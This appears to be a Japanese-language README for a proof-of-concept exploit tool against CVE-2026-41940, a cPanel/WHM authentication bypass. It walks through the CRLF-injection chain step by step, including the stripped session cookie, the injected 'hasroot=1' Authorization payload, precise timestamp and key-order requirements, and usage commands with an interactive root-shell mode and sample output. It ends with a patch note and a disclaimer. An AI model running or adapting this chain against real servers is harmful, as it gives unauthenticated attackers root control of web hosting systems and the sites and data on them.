CVE-2026-41940 — cPanel/WHM 認証バイパス

作成者: SilySec
オリジナル研究: Sina Kheirkhah (@SinSinology) / watchTowr Labs
深刻度: 緊急 (CVSS 9.8)
種別: CRLFインジェクション → 認証バイパス → rootシェル

説明

CVE-2026-41940 は、cPanel/WHM における深刻な脆弱性であり、認証されていない攻撃者が cpsrvd の Basic 認証ハンドラにおける CRLF インジェクションを介して完全な root アクセスを取得することを可能にします。

この脆弱性は、3つの弱点を組み合わせたものです:

フィルタリングされていない CRLF インジェクション — Cpanel/Session.pm 内の saveSession() 関数は、Cookie に <ob> キーが存在しない場合、ディスクへの書き込み前に \r\n 文字をサニタイズしません。
無効化されたエンコーダ — セッション Cookie に <obHEX> セグメントがない場合、セッションごとのエンコーダが有効にならず、CRLF バイトがセッションファイルに平文で書き込まれます。
キャッシュの再読み込み — Cpanel::Session::Modify::save() は生のファイルを再読み込みし、注入された CRLF キーを JSON キャッシュに昇格させ、セッションを完全に認証済みにします。

影響を受けるバージョン

攻撃チェーン

POST /login/?login_only=1          [誤ったパスワード]
  └─► cookie: whostmgrsession=:ID,<obHEX>

,<obHEX> を削除  →  :ID          [エンコーダを無効化]

GET / + Cookie: :ID
      + Authorization: Basic root:x\r\nhasroot=1\r\n...
  └─► cpsrvd が生の CRLF バイトをセッションファイルに書き込む

GET /scripts2/listaccts + Cookie: :ID   [セキュリティトークンなし]
  └─► do_token_denied() → Cpanel::Session::Modify::save()
  └─► hasroot=1, tfa_verified=1 を含む JSON キャッシュが再構築される

→ root として認証されたセッション

使用方法

前提条件

pip install requests
# --terminal モード用 (オプション):
pip install paramiko

脆弱性の確認

python3 poc.py --target https://TARGET:2087

対話型 root シェルの取得

python3 poc.py --target https://TARGET:2087 --terminal

正規ホスト名の強制

python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.example.com

出力例

[*] target   : https://1.2.3.4:2087
[*] canonical: cpanel.example.com

[1/4] preauth セッションを作成中 ...
       session  = :AbCdEfGh...,0123456789abcdef
       stripped = :AbCdEfGh...

[2/4] CRLF ペイロードを注入中 ...
       307 → リークしたトークン = /cpsess1234567890

[3/4] キャッシュ伝播をトリガー中 ...
       do_token_denied → Cpanel::Session::Modify::save() が発火

[4/4] root アクセスを検証中 ...

  ✔  認証バイパスが確認されました
     cPanel バージョン : 11.136.0.5
     cookie           : whostmgrsession=%3AAbCdEfGh...
     WHM URL          : https://1.2.3.4:2087/cpsess1234567890/

重要な技術的ポイント

正規ホスト名 を Host ヘッダーで使用する必要があります (IP ではなく) — cpsrvd はホスト名によってセッションの処理方法が異なります
ペイロード内の タイムスタンプ は 9999999999 (固定、遠い未来) である必要があります — 現在のタイムスタンプでは失敗します
注入されたペイロード内の キーの順序 が重要です: successful_internal_auth_with_timestamp が最初に来る必要があります

修正

このパッチは、filter_sessiondata() の呼び出しを saveSession() 内に移動し、<ob> キーが存在しない場合に条件付きエンコーディングを追加して、平文での書き込みを防止します。

上記の修正バージョンに cPanel/WHM を直ちに更新してください。

免責事項

このツールは、研究および内部テスト目的のみで提供されています。明示的な許可なくシステムで使用することは違法です。SilySec は、不正使用によって生じたいかなる責任も負いません。

110.0.x	11.110.0.96	11.110.0.97
118.0.x	11.118.0.62	11.118.0.63
126.0.x	11.126.0.53	11.126.0.54
132.0.x	11.132.0.28	11.132.0.29
134.0.x	11.134.0.19	11.134.0.20
136.0.x	11.136.0.5	11.136.0.6

CPANEL-CVE-2026-41940

人気